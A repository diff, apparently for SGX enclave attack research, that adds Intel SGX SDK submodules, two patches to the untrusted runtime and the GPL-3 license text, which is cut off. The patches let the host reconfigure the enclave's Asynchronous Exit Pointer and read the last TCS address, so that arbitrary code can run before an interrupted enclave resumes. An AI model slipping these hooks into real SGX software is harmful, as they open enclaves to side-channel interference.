diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..748ce3c --- /dev/null +++ b/.gitmodules @@ -0,0 +1,6 @@ +[submodule "linux-sgx"] + path = linux-sgx + url = https://github.com/01org/linux-sgx.git +[submodule "linux-sgx-driver"] + path = linux-sgx-driver + url = https://github.com/01org/linux-sgx-driver.git diff --git a/0001-Support-to-reconfigure-Asynchronous-Exit-Pointer-AEP.patch b/0001-Support-to-reconfigure-Asynchronous-Exit-Pointer-AEP.patch new file mode 100644 index 0000000..5343136 --- /dev/null +++ b/0001-Support-to-reconfigure-Asynchronous-Exit-Pointer-AEP.patch @@ -0,0 +1,151 @@ +From 11942c0b1244b28b8f1a2df0966c9fe08ca850de Mon Sep 17 00:00:00 2001 +From: Jo Van Bulck +Date: Thu, 27 Jul 2017 21:02:10 +0200 +Subject: [PATCH 1/2] Support to reconfigure Asynchronous Exit Pointer (AEP) at + runtime. + +This provides a convenient way for an untrusted enclave execution environment +(OS + containing process) to determine whether or not the enclave has been +interrupted, and can be used to execute arbitrary code before ERESUME-ing a +previously interrupted enclave. +--- + common/inc/sgx_urts.h | 3 +++ + psw/urts/linux/enter_enclave.S | 31 +++++++++++++++++++++++++------ + psw/urts/linux/urts.cpp | 14 ++++++++++++++ + psw/urts/linux/urts.lds | 2 ++ + sdk/simulation/urtssim/urts_deploy.c | 11 +++++++++++ + 5 files changed, 55 insertions(+), 6 deletions(-) + +diff --git a/common/inc/sgx_urts.h b/common/inc/sgx_urts.h +index f90a2d0..687e7e6 100644 +--- a/common/inc/sgx_urts.h ++++ b/common/inc/sgx_urts.h +@@ -57,6 +57,9 @@ sgx_status_t SGXAPI sgx_create_enclave(const char *file_name, const int debug, s + + sgx_status_t SGXAPI sgx_destroy_enclave(const sgx_enclave_id_t enclave_id); + ++void* SGXAPI sgx_get_aep(void); ++void SGXAPI sgx_set_aep(void *aep); ++ + #ifdef __cplusplus + } + #endif +diff --git a/psw/urts/linux/enter_enclave.S b/psw/urts/linux/enter_enclave.S +--- a/psw/urts/linux/enter_enclave.S ++++ b/psw/urts/linux/enter_enclave.S +@@ -32,6 +32,16 @@ + + #include "enter_enclave.h" + ++/* XXX runtime reconfigurable indirect Asynchronous Exit Pointer (AEP) ++ * (ld complains when initializing __default_async_exit_pointer here, so we have ++ * to do it at runtime, when EENTERing, below in .Ldo_eenter. ++ */ ++ .data ++g_aep_pointer: ++ .word 0x0 ++ .word 0x0 ++ .word 0x0 ++ .word 0x0 + + /* int __morestack(const tcs_t *tcs, const int fn, const void *ocall_table, const void *ms, CTrustThread *trust_thread); */ + .file "enter_enclave.S" +@@ -48,9 +58,15 @@ EENTER_PROLOG + mov frame_arg3, %xsi /* ms */ + + .Ldo_eenter: +- mov frame_arg0, %xbx /* tcs addr */ +- lea_pic .Lasync_exit_pointer, %xcx /* aep addr */ +- mov $SE_EENTER, %xax /* EENTER leaf */ ++ mov frame_arg0, %xbx /* tcs addr */ ++ /* fetch AEP; init when NULL */ ++ lea_pic g_aep_pointer, %xax ++ mov (%xax), %xcx /* aep addr */ ++ cmp $0x0, %xcx ++ jnz 1f ++ lea_pic __default_async_exit_pointer, %xcx ++ mov %xcx, (%xax) ++1: mov $SE_EENTER, %xax /* EENTER leaf */ + + .Leenter_inst: + ENCLU +@@ -107,14 +123,20 @@ EENTER_PROLOG + .Loret: + EENTER_EPILOG + +-.Lasync_exit_pointer: ++__default_async_exit_pointer: + ENCLU + + .size __morestack, .-__morestack + + +-DECLARE_GLOBAL_FUNC get_aep +- lea_pic .Lasync_exit_pointer, %xax ++ DECLARE_GLOBAL_FUNC get_aep ++ lea_pic g_aep_pointer, %xax ++ mov (%xax), %xax ++ ret ++ ++DECLARE_GLOBAL_FUNC set_aep ++ lea_pic g_aep_pointer, %xax ++ mov naked_arg0, (%xax) + ret + + DECLARE_GLOBAL_FUNC get_eenterp +diff --git a/psw/urts/linux/urts.cpp b/psw/urts/linux/urts.cpp +--- a/psw/urts/linux/urts.cpp ++++ b/psw/urts/linux/urts.cpp +@@ -70,3 +70,17 @@ extern "C" sgx_status_t sgx_create_enclave(const char *file_name, const int debu + + return ret; + } ++ ++//XXX ++extern "C" void *get_aep(); ++extern "C" void set_aep(void *aep); ++ ++extern "C" void* sgx_get_aep(void) ++{ ++ return get_aep(); ++} ++ ++extern "C" void sgx_set_aep(void *aep) ++{ ++ set_aep(aep); ++} +diff --git a/psw/urts/linux/urts.lds b/psw/urts/linux/urts.lds +--- a/psw/urts/linux/urts.lds ++++ b/psw/urts/linux/urts.lds +@@ -1,5 +1,7 @@ + { + global: ++ sgx_get_aep; ++ sgx_set_aep; + sgx_create_enclave; + sgx_destroy_enclave; + sgx_ecall; +diff --git a/sdk/simulation/urtssim/urts_deploy.c b/sdk/simulation/urtssim/urts_deploy.c +--- a/sdk/simulation/urtssim/urts_deploy.c ++++ b/sdk/simulation/urtssim/urts_deploy.c +@@ -38,6 +38,17 @@ sgx_status_t sgx_create_enclave() + return SGX_ERROR_UNEXPECTED; + } + ++void *sgx_get_aep(void) ++{ ++ printf("Please use the correct uRTS library from PSW package.\n"); ++ return NULL; ++} ++ ++void sgx_set_aep(void* p) ++{ ++ printf("Please use the correct uRTS library from PSW package.\n"); ++} ++ + void sgx_debug_load_state_add_element(){}; + void sgx_debug_unload_state_remove_element(){}; + void sgx_destroy_enclave(){}; +-- +2.5.0 + diff --git a/0002-Add-support-to-retrieve-most-recently-used-TCS-point.patch b/0002-Add-support-to-retrieve-most-recently-used-TCS-point.patch new file mode 100644 index 0000000..32e6ac9 --- /dev/null +++ b/0002-Add-support-to-retrieve-most-recently-used-TCS-point.patch @@ -0,0 +1,128 @@ +From 1aa9fb129c350e5995227bc3854e86e714a5875f Mon Sep 17 00:00:00 2001 +From: Jo Van Bulck +Date: Thu, 27 Jul 2017 21:26:44 +0200 +Subject: [PATCH 2/2] Add support to retrieve most recently used TCS pointer. + +--- + common/inc/sgx_urts.h | 2 ++ + psw/urts/linux/enter_enclave.S | 23 +++++++++++++++++++++++ + psw/urts/linux/urts.cpp | 6 ++++++ + psw/urts/linux/urts.lds | 1 + + sdk/simulation/urtssim/urts_deploy.c | 6 ++++++ + 5 files changed, 38 insertions(+) + +diff --git a/common/inc/sgx_urts.h b/common/inc/sgx_urts.h +index 687e7e6..dc413a3 100644 +--- a/common/inc/sgx_urts.h ++++ b/common/inc/sgx_urts.h +@@ -57,8 +57,10 @@ sgx_status_t SGXAPI sgx_create_enclave(const char *file_name, const int debug, s + + sgx_status_t SGXAPI sgx_destroy_enclave(const sgx_enclave_id_t enclave_id); + ++//XXX + void* SGXAPI sgx_get_aep(void); + void SGXAPI sgx_set_aep(void *aep); ++void* SGXAPI sgx_get_tcs(void); + + #ifdef __cplusplus + } +diff --git a/psw/urts/linux/enter_enclave.S b/psw/urts/linux/enter_enclave.S +index df200db..85b64d2 100644 +--- a/psw/urts/linux/enter_enclave.S ++++ b/psw/urts/linux/enter_enclave.S +@@ -43,6 +43,19 @@ g_aep_pointer: + .word 0x0 + .word 0x0 + ++/* XXX HACK: SGX stores TCS address in rbx on interrupt, but this value is ++ * somehow not properly stored in Linux's pt_regs struct available to our ++ * driver's interrupt handler. We therefore store TCS address here in the ++ * untrusted runtime, so as to be able to explicitly communicate TCS to our ++ * driver... ++ */ ++ .data ++g_tcs: ++ .word 0x0 ++ .word 0x0 ++ .word 0x0 ++ .word 0x0 ++ + /* int __morestack(const tcs_t *tcs, const int fn, const void *ocall_table, const void *ms, CTrustThread *trust_thread); */ + .file "enter_enclave.S" + .text +@@ -59,6 +72,8 @@ EENTER_PROLOG + + .Ldo_eenter: + mov frame_arg0, %xbx /* tcs addr */ ++ lea_pic g_tcs, %xax ++ mov %xbx, (%xax) + /* fetch AEP; init when NULL */ + lea_pic g_aep_pointer, %xax + mov (%xax), %xcx /* aep addr */ +@@ -139,6 +154,11 @@ DECLARE_GLOBAL_FUNC set_aep + mov naked_arg0, (%xax) + ret + ++DECLARE_GLOBAL_FUNC get_tcs ++ lea_pic g_tcs, %xax ++ mov (%xax), %xax ++ ret ++ + DECLARE_GLOBAL_FUNC get_eenterp + lea_pic .Leenter_inst, %xax + ret +diff --git a/psw/urts/linux/urts.cpp b/psw/urts/linux/urts.cpp +index 94e1861..f8cb379 100644 +--- a/psw/urts/linux/urts.cpp ++++ b/psw/urts/linux/urts.cpp +@@ -74,12 +74,18 @@ extern "C" sgx_status_t sgx_create_enclave(const char *file_name, const int debu + //XXX + extern "C" void *get_aep(); + extern "C" void set_aep(void *aep); ++extern "C" void *get_tcs(); + + extern "C" void* sgx_get_aep(void) + { + return get_aep(); + } + ++extern "C" void* sgx_get_tcs(void) ++{ ++ return get_tcs(); ++} ++ + extern "C" void sgx_set_aep(void *aep) + { + set_aep(aep); +diff --git a/psw/urts/linux/urts.lds b/psw/urts/linux/urts.lds +index 3e02677..bad727e 100644 +--- a/psw/urts/linux/urts.lds ++++ b/psw/urts/linux/urts.lds +@@ -2,6 +2,7 @@ + global: + sgx_get_aep; + sgx_set_aep; ++ sgx_get_tcs; + sgx_create_enclave; + sgx_destroy_enclave; + sgx_ecall; +diff --git a/sdk/simulation/urtssim/urts_deploy.c b/sdk/simulation/urtssim/urts_deploy.c +index fbd021b..2f03531 100644 +--- a/sdk/simulation/urtssim/urts_deploy.c ++++ b/sdk/simulation/urtssim/urts_deploy.c +@@ -49,6 +49,12 @@ void sgx_set_aep(void* p) + printf("Please use the correct uRTS library from PSW package.\n"); + } + ++void *sgx_get_tcs(void) ++{ ++ printf("Please use the correct uRTS library from PSW package.\n"); ++ return NULL; ++} ++ + void sgx_debug_load_state_add_element(){}; + void sgx_debug_unload_state_remove_element(){}; + void sgx_destroy_enclave(){}; +-- +2.5.0 + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively 